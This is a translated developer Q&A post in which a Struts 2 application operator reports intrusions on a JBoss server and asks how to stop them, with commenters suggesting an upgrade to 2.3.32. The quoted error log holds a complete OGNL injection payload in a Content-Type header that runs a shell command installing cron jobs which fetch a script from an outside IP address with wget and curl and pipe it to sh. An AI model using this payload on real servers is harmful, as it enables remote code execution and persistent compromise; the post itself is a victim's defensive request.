【发布时间】:2017-04-27 17:50:03
【问题描述】:
我们有一个 J2EE Struts 2 应用程序。
最近我们看到一些入侵正在进入我们在端口 80 上运行的应用程序。Jboss(4.2.0 版)错误日志显示:
请求不包含 multipart/form-data 或 multipart/form-data 流,内容类型标头为 %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext @DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com. opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))) .(#cmd='echo "15 * * * * wget -O - -q http://91.230.47.41/res/logo.jpg|sh\n50 * * * * curl http://91.230.47.41/res/logo.jpg|sh" | crontab -').(#iswin=(@java.lang.System @getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/ bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start ()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),# ros)).(#ros.flush())}
他们将一些 .exe 文件注入到 Jboss bin 文件夹中,并试图中断应用程序和服务器。已经在那里安装了一些杀毒软件。但这并没有停止。考虑如何阻止他们进入应用程序。
任何好主意都会有所帮助。
【问题讨论】:
-
除了升级,检查这个 repo -> github.com/apache/struts-extras。另请注意,即使使用最新升级,您仍然可以在日志中看到错误,但基本问题已修复。
-
升级到2.3.32版本安全吗?因为不需要更改代码。我在想是否有任何方法可以禁用整个多部分文件上传?
标签: java security jakarta-ee jboss struts2